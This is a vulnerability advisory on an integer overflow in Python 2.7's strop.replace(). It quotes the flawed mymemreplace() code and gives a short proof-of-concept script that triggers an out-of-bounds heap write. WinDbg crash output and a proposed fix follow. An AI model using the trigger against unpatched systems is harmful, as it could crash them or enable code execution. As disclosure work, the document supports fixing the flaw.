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Title: Python 2.7 strop.replace() Integer Overflow
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-strop-replace-Integer-Overflow
Url2: http://bugs.python.org/issue24708
Resolution: Fixed

The Python 2.7 strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:

static char *
mymemreplace(const char *str, Py_ssize_t len,           /* input string */
         const char *pat, Py_ssize_t pat_len,           /* pattern string to find */
         const char *sub, Py_ssize_t sub_len,           /* substitution string */
         Py_ssize_t count,                              /* number of replacements */
         Py_ssize_t *out_len)
{
    [...]

    new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
    if (new_len == 0) {
        /* Have to allocate something for the caller to free(). */
        out_s = (char *)PyMem_MALLOC(1);
        if (out_s == NULL)
            return NULL;
        out_s[0] = '\0';
    }
    else {
        assert(new_len > 0);
        new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
        if (new_s == NULL)
            return NULL;
        out_s = new_s;

        for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
            /* find index of next instance of pattern */
            offset = mymemfind(str, len, pat, pat_len);
            if (offset == -1)
                break;

            /* copy non matching part of input string */
            memcpy(new_s, str, offset);
            str += offset + pat_len;
            len -= offset + pat_len;

            /* copy substitute into the output string */
            new_s += offset;
            memcpy(new_s, sub, sub_len);
            new_s += sub_len;
        }
        /* copy any remaining values into output string */
        if (len > 0)
            memcpy(new_s, str, len);
    }
    [...]
}

The following script demonstrates the issue:

import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)
When run under a debugger, it produces the following exception:

0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
57095ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
57096000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
01e3dde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3ddf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> k
ChildEBP RetAddr  
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038cb5 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74b97c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7701ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 7026ae7a (MSVCR90!memcpy+0x0000005a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 57096000
Attempt to write to address 57096000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAULTING_THREAD:  00001408

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  57096000

WRITE_ADDRESS:  57096000 

FOLLOWUP_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

NTGLOBALFLAG:  470

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

LAST_CONTROL_TRANSFER:  from 1e056efc to 7026ae7a

STACK_TEXT:  
0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a
0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc
0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb
0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47
0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0
0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22
0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a
0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965
0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f
0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  188

FAULTING_SOURCE_CODE:  
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msvcr90!memcpy+5a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MSVCR90

IMAGE_NAME:  MSVCR90.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  51ea24a5

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy

FAILURE_ID_HASH:  {031149d8-0626-9042-d8b7-a1766b1c5514}

Followup: MachineOwner
---------

To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred.